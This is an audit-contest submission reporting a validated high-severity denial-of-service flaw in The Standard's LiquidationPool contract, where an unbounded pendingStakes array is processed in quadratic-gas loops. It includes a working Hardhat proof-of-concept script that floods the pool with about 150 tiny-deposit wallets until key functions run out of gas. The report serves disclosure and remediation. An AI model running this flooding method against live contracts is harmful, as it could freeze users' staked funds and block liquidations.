The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Unbounded `pendingStakes` array

00xSEV

Summary

LiquidationPool::pendingStakes is not bounded. Anyone can increases it's size by calling LiquidationPool::increasePosition. It can lead to DOS

Vulnerability Details

It will also increase by itself as the protocol become more popular (has more people who call increasePosition at a given day). Or if there is a spike in deposits (calls to increasePosition) from users/bots.

Affected functions:

  • getTstTotal

  • holderPendingStakes (for one holder)

  • deletePendingStake

  • consolidatePendingStakes

  • distributeFees

  • position

    • holderPendingStakes

    • getTstTotal

  • increasePosition

    • Calls consolidatePendingStakes

    • Calls ILiquidationPoolManager(manager).distributeFees() => LiquidationPool(pool).distributeFees

  • decreasePosition

    • Calls consolidatePendingStakes

    • Calls ILiquidationPoolManager(manager).distributeFees() => LiquidationPool(pool).distributeFees

  • distributeAssets

So an attacker can easily increase pendingStakes array length by calling increasePosition from many addresses and depositing 1 wei of TST or euros

Which will lead to DOS of many functions, most notably consolidatePendingStakes

distributeAssets and consolidatePendingStakes lock will lead to lock of LiquidationPoolManager::runLiquidation (which calls distributeAssets => consolidatePendingStakes), so the protocol will soon have a lot of bad debt.

consolidatePendingStakes has an O(n^2) gas consumption: first for-loop in consolidatePendingStakes itself and then in deletePendingStake

In my environment only 150 wallets is enough to lock decreasePosition and distributeAssets.
Note: distributeAssets fail with out-of-gas in consolidatePendingStakes, it can be tested by putting a console.log statement after it, which will never be called.

Impact

Lock of decreasePosition => loss of all staked funds
Lock of runLiquidation => loss of all collateral for the positions that became undercollateralised

Proof of Concept

Put in tests.
Note: it take around 30-40 seconds for each consolidatePendingStakes test in my environment. Please be patient. Or put .skip on some tests.

// @ts-check
const { expect } = require("chai");
const { ethers, network } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
​
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
ERC20MockFactory, TST, EUROs;
​
beforeEach(async () => {
// Note: user1 is a deployer, so possible errors
[ user1, user2, user3, Protocol, ] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
const EurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
const { TokenManager } = await mockTokenManager();
MockSmartVaultManager = await (await ethers.getContractFactory('MockSmartVaultManager')).deploy(DEFAULT_COLLATERAL_RATE, TokenManager.address);
LiquidationPoolManager = await (await ethers.getContractFactory('LiquidationPoolManager')).deploy(
TST.address, EUROs.address, MockSmartVaultManager.address, EurUsd.address, Protocol.address, POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
});
afterEach(async () => {
await network.provider.send("hardhat_reset")
});
​
describe('increase position', async () => {
it('counts gas used for `increasePosition`', async () => {
const wallets = await createWallets(5);
const [, ...gasUsed] = await Promise.all(wallets.map(deposit));
// ignore the first call because it SSTORE some slots from 0 to value, which is more expensive
// delta ~11728 gas on my environment
// so only ~2500 txs to overflow block gas limit (30mln)
console.log(`getDeltas`, getDeltas(gasUsed));
});
​
it('counts gas used for `distributeFees`', async () => {
const wallets = await createWallets(5);
const distributeFees = async (wallet) => {
await deposit(wallet);
await EUROs.mint(LiquidationPoolManager.address, ethers.utils.parseEther('1'));
const tx = await LiquidationPoolManager.distributeFees();
const receipt = await tx.wait();
return receipt.gasUsed;
}
let gasUsed = [];
for (const wallet of wallets) {
const gas = await distributeFees(wallet);
gasUsed.push(gas);
}
console.log('gasUsed', gasUsed);
// ignore the first call because it SSTORE some slots from 0 to value, which is more expensive
// delta ~17948 gas on my environment
// so only ~1671 txs to exceed block gas limit (30mln)
console.log('getDeltas', getDeltas(gasUsed));
});
​
// The most gas consuming test
describe('`consolidatePendingStakes`', async () => {
async function testConsolidatePendingStakes(walletsCount) {
const wallets = await createWallets(walletsCount);
await Promise.all(wallets.map(deposit));
fastForward(DAY);
// triggers `consolidatePendingStakes`
const tx = await LiquidationPool.decreasePosition(0, 0, { gasLimit: 30_000_000 });
const receipt = await tx.wait();
return receipt.gasUsed;
}
​
// Note: it will take a while, maybe a minute
// Should not set too high otherwise node.js will die with `heap out of memory`
it('Exceeds gas limit for big wallets count for `decreasePosition`', async () => {
const highWalletCount = 150; // ~150 in my environment, but should be around this number for you too
try {
await testConsolidatePendingStakes(highWalletCount);
expect.fail('Transaction should have failed but did not');
} catch (error) {
console.log(error.message);
expect(error.message).to.include(
'Transaction ran out of gas',
'Transaction failed for an unexpected reason'
);
}
});
​
// Note: it will take a while, maybe a minute
it('Exceeds gas limit for big wallets count for `distributeAssets`', async () => {
const highWalletCount = 150; // ~150 in my environment, but should be around this number for you too
try {
const wallets = await createWallets(highWalletCount);
await Promise.all(wallets.map(deposit));
fastForward(DAY);
// Parameters does not matter because it will fail on `consolidatePendingStakes`
// Because parameters does not matter we can call it through `runLiquidation` too
// but it would need more set up code
await LiquidationPool.distributeAssets([], 1, 1, { gasLimit: 30_000_000 });
​
expect.fail('Transaction should have failed but did not');
} catch (error) {
console.log(error.message);
expect(error.message).to.include(
'Transaction ran out of gas',
'Transaction failed for an unexpected reason'
);
}
});
​
const walletCounts = [10, 20, 30];
const gasUsedResults = [];
for (const count of walletCounts) {
it(`${count} wallets`, async () => {
const gasUsed = await testConsolidatePendingStakes(count);
gasUsedResults.push({ count, gasUsed });
console.log(`Gas used for ${count} wallets:`, gasUsed.toString());
});
}
​
after(() => {
console.log("Gas used deltas:");
for (let i = 1; i < gasUsedResults.length; i++) {
const delta = gasUsedResults[i].gasUsed.sub(gasUsedResults[i - 1].gasUsed);
console.log(`Delta between ${gasUsedResults[i - 1].count} and ${gasUsedResults[i].count} wallets:`, delta.toString());
}
});
});
});
​
function getDeltas(gasUsed) {
const deltas = [];
​
for (let i = 1; i < gasUsed.length; i++) {
const delta = gasUsed[i].sub(gasUsed[i - 1]);
deltas.push(delta);
}
​
return deltas;
}
​
async function createWallets(numberOfWallets) {
const wallets = [];
​
for (let i = 0; i < numberOfWallets; i++) {
const wallet = ethers.Wallet.createRandom().connect(ethers.provider);
wallets.push(wallet);
​
const tx = await user1.sendTransaction({
to: wallet.address,
value: ethers.utils.parseEther("0.1"),
});
await tx.wait();
}
​
return wallets;
}
​
​
async function deposit(wallet) {
const balance = ethers.utils.parseEther('5000');
​
await TST.mint(wallet.address, balance);
await EUROs.mint(wallet.address, balance);
let { _position} = await LiquidationPool.position(wallet.address);
expect(_position.TST).to.equal('0');
expect(_position.EUROs).to.equal('0');
​
await TST.connect(wallet).approve(LiquidationPool.address, balance);
await EUROs.connect(wallet).approve(LiquidationPool.address, balance);
​
​
const tx = await LiquidationPool.connect(wallet).increasePosition(1, 1);
const receipt = await tx.wait();
return receipt.gasUsed;
}
});
​

Tools Used

Manual review

Recommended Mitigation Steps

Consider rewriting the code in a way that does not use arrays that has no fixed length in a for-loop

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.